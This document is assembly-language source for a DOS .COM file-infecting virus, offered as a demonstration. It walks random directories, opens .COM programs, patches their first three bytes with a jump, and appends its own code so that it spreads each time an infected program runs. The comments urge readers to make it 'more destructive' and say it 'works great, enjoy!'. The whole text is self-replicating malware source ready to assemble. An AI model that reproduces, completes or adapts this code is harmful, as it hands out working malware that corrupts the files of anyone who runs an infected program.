; This is an example of a .COM infecter. It will choose 3 random directories ; and files to infect everytime it is run. It will also display a quick message ; before a host is executed. The file searching routines aren't the best, but ; they will do for this demo. .model small .code org 100h SOV: ; Sets up DI for referencing main: call get_offset get_offset: pop bp ; Put it into BP sub bp, offset get_offset ; Adjust to host file lea si, [bp + buffer] ; Original start lea di, [bp + savebuffer] ; Copy to the save buffer movsw movsb ; Copy 3 bytes mov di, bp ; Set up DI jmp begin wildcard db '*.*',0 root db '\',0 com_card db '*.COM',0 buffer db 0CDh, 20h, 00h savebuffer db 'RPC' evil_jump db 0E9h, ?, ? msg db 'Here I AM!', 0Dh, 0Ah, '$' xrand dw 0 ; Random Number Generator variables multip dw 253 rand: mov ax, [di + xrand] ; Check seed cmp ax, 0 jne getnxt ; If seed uninitialized or zero call the clock function ; and use 100ths of seconds for new seed mov ah, 2Ch int 21h mov ax, dx getnxt: neg ax mul [di + multip] ; Puts result into AX, DX mov [di + xrand], ax ; Save low word for new seed mod_it: ; Divide by 2 and use remainder - it will be 0 for even ; and 1 for odd. If we wanted 3 random numbers instead of ; just 0 + 1 we divide by 3, 4, 5... result will be 0 ; to n-1 xor dx, dx mov bx, 3 div bx exit: ret ;RUN ORIGINAL COM PROGRAM run_orig_com: ; Zero all our registers mov bp, di ; Move offset in di to bp lea si, [bp + savebuffer] ; Original start mov di, 100h ; Put 100h on to stack for return to main program push di movsw movsb ; Copy 3 bytes xor ax, ax mov bx, ax ; The address a RET jumps to is POPed off the stack mov cx, ax mov dx, ax ; That 'push di' in the beginning put 100h on the ; stack and right now it's the last thing that needs ; poped... This will POP it and return control to the ; host file. mov si, ax mov di, ax mov bp, ax ret ; COM FTIE INFECTION ROUTINE infect_com: mov ah, 3Dh mov al, 2h ; Open file function. Where I stored the filename change ; to suit your needs lea dx, [bp - 98] int 21h xchg ax, bx ; Put file handle in BX mov ah, 03Fh ; Read from file function mov cx, 3 ; Read in 3 bytes lea dx, [di + buffer] ; Put bytes in buffer int 21h mov ah, 42h mov al, 2h ; Move RW pointer to EOF mov dx, 0 mov cx, 0 int 21h ; AX now contains offset of EOF xchg ax, dx ; Save offset mov ah, 03Eh ; Close file int 21h xchg ax, dx ; Restore offset calculate_jmp_offset: sub ax, (EOV - SOV) + 3 ; Subtract virus size check_for_previous_infection: cmp word ptr [di + buffer + 1], ax ; Check for infection je done_infect ; If so, exit build_a_new_jump: add ax, (EOV - SOV) ; Readjust for the new jump mov word ptr [di + evil_jump + 1], ax ; Construct jmp for our program write_new_jump: mov ah, 03Dh mov al, 02h ; Open file function lea dx, [bp - 98] int 21h xchg ax, bx ; Put file handle in BX mov ah, 040h ; Write to file function mov cx, 3 ; 3 bytes lea dx, [di + evil_jump] ; Put at beginning int 21h append_virus: mov ax, 04202h ; Seek EOF xor cx, cx xor dx, dx ; Append Virus to EOF int 21h mov ah, 40h ; Write to file function mov cx, (EOV - SOV) ; Length of virus lea dx, (di + SOV) ; Begin with the beginning int 21h done_infect: ret ; Exit infect_com ; FIND A FILE find_it: push bp mov ah, 02Fh ; Get and save the old DTA location int 21h push bx mov bp, sp ; Set up new DTA location sub sp, 128 mov ah, 01Ah ; DOS set DTA function to location we set up lea dx, [bp - 128] int 21h f_1: mov ah, 04Eh ; DOS find first function mov cx, 10h ; Find directories lea dx, [di + wildcard] ; Search for int 21h f_2: jc f_5 ; If no more files then goto done cmp byte ptr [bp - 107], 16 ; Is this a directory? jne f_3 ; No, then findnext cmp byte ptr [bp - 98], '.' ; a . or . ? je f_3 ; Yes, then findnext call rand cmp dx, 0 je f_3 call rand cmp dx, 0 ; Check random number je f_4 ; Change directory f_3: mov ah, 04Fh ; DOS find next function mov cx, 10h ; Find directories lea dx, [di + wildcard] ; Search for *.* int 21h jmp f_2 ; Go through logic f_4: mov ah, 03Bh ; DOS change directory function lea dx, [bp - 98] ; Points to filename in DTA int 21h jmp f_1 ; Begin new directory search f_5: mov ah, 4Eh ; Find first file mov cx, 0007h ; Any file attribute lea dx, [di + com_card] ; DS:[DX] -> filemask int 21h jc argg do_logic: call rand cmp dx, 0 je find_another call rand cmp dx, 0 je found find_another: mov ah, 4Fh ; Find next file int 21h jc found jmp do_logic found: call infect_com argg: mov sp, bp ; Restore old stack frame mov ah, 01Ah ; Set DTA function pop dx ; Restore old DTA address int 21h pop bp ; Restore BP ret ; SAVE OLD DIR AND CALL INFECTION, THEN RESTORE OLD DIR begin: push bp ; Save BP mov bp, sp ; BP points to local buffer sub sp, 64 ; Allocate 64 bytes on stack mov ah, 047h ; DOS get current dir function xor dl, dl ; DL holds drive # (current) lea si, [bp - 64] ; SI points to 64 byte buffer int 21h mov cx, 3 ; # of times to infect a file looop: push cx mov ah, 3Bh ; DOS change directory function lea dx, [di + root] ; DX points to root directory int 21h call find_it ; Do the infection pop cx loop looop mov ah, 38h ; DOS change directory function lea dx, [di + root] ; DX points to root directory int 21h mov ah, 3Bh ; DOS change directory function lea dx, [bp - 64] ; DX points to old directory int 21h mov sp, bp ; Restore old stack pointer pop bp ; Restore BP mov ah, 9 ; Just displays a message before host executes... ; Hope you think of something better, more destructive... lea dx, [di + msg] int 21h jmp run_orig_com EOV: int 20h end SOV ; This code was tested and assembled with TASM 1.0 and works great, enjoy!